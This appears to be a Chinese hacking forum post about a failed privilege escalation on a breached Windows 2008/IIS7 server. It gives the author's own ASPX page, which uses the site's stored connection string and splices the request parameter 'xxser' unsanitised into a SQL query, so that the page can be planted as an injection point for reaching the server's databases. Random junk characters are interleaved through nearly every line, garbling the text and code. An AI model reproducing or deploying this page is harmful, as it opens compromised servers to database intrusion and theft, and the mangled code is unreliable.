昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
& c. x7 I" c- R6 g其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
" M6 Q9 a, Y$ g1 K1 g6 e代码量不多,自己写个拉倒了。烦死了。 X" x& E6 [6 O6 \
7 R6 R) {4 q' H
0 a6 j/ n7 u( l9 W2 y* X<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">7 B9 e3 h: T1 A
<html xmlns="http://www.w3.org/1999/xhtml">6 A4 Y7 a( V; b2 }6 ^
<head runat="server">7 H1 j& Z' q( o; _
<title>暗影aspx构造注射专用页面</title>8 J- ] _- O/ `8 w. m. P
</head>) [5 @3 O2 \; S
<body>* }8 C$ T+ B4 }8 X! p4 [
<form id="form1" runat="server">- j; _: D: h1 N- W
<div>: e; ?+ ~( H& I& K+ ]9 W3 i' r6 H
<script language="c#" runat="server">- F/ y1 }$ a3 \$ O
9 A; ?. h+ d; ~2 y
void page_init(object sender, EventArgs e)& e# Z9 ^4 c# R; u: Q8 X' a
{& V6 }; x8 I: I$ s+ K4 G' y; c
( r) m5 R( X, g9 C
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
; M8 A: T9 u" B 7 u5 V' `2 K" {& n+ b% Y3 d
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();9 k) P, J5 j6 h" Y* n4 t ]
conn.Open();( A% N- o- }: ]% |
! v/ L. d( K# ^$ o. y5 S V string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
4 F! ]# j' b$ m1 r% u! f 6 b* Y9 [7 Y& x2 H
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
% X# E/ [$ R- T int x = command.ExecuteNonQuery();
" S8 c+ S$ X- j; P( F Response.Write(i+"\n");$ A! N; D" S7 [( m
Response.Write(x);
2 }9 i6 X5 s! f( u conn.Close();
3 ?0 j! F( Y7 \4 z7 K6 E' A: ^ }& A; v0 n0 d8 W
7 z* O/ \1 @' `$ n" F7 [ g5 U
</script>
- z9 e/ K4 q. j' p# F </div>
1 ~2 @1 E& L; y1 k </form>" B# l: y9 ~0 c5 l( m: {( U
</body>2 o( R% ~% g! l \& q4 n" E1 N
</html>
, A$ _; V* v7 F. Y' L* X L |